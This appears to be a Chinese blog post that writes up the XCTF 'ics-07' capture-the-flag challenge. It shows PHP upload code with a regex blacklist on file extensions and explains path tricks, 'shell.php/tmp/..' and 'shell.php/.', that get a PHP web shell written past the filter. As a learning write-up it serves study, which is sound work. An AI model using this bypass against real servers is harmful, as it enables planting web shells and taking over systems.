XCTF-ics-07
文件上传部分
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/" . $file;
if (preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)) {
die("Bad file extension");
} else {
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>
错误解法一: file=shell.php%20
不行, 因为Linux不会对文件名进行规范化
错误解法二: file=shell.php/tmp/../
不行, 原因:
php拼接变量为backup/shell.php/tmp/../
调用fopen()函数进行文件写入, 这是一个操作系统的函数, 但是:
在Linux中, 末尾使用/会被系统认为是一个目录, 目录是无法写内容的!
验证:
┌──(kali㉿Killnet)-[~/test]
└─$ ll
total 0
-rw-r--r-- 1 kali kali 0 Dec 29 15:50 shell.php
┌──(kali㉿Killnet)-[~/test]
└─$ ll shell.php
-rw-r--r-- 1 kali kali 0 Dec 29 15:50 shell.php
┌──(kali㉿Killnet)-[~/test]
└─$ ll shell.php/
ls: cannot access 'shell.php/': Not a directory
#这里可以非常明显的看到, 因为文件的末尾加上了一个/, 所以Linux将其作为目录看待了, 但是因为shell.php不是目录而是文件, 所以error: not a directory
正确的解法: file=shell.php/tmp/..
或者: file=shell.php/.
From LLM:在Linux的哲学里,“斜杠即目录”
posted on 2025-12-29 16:12 misaki%20mei 阅读(0) 评论(0) 收藏 举报
浙公网安备 33010602011771号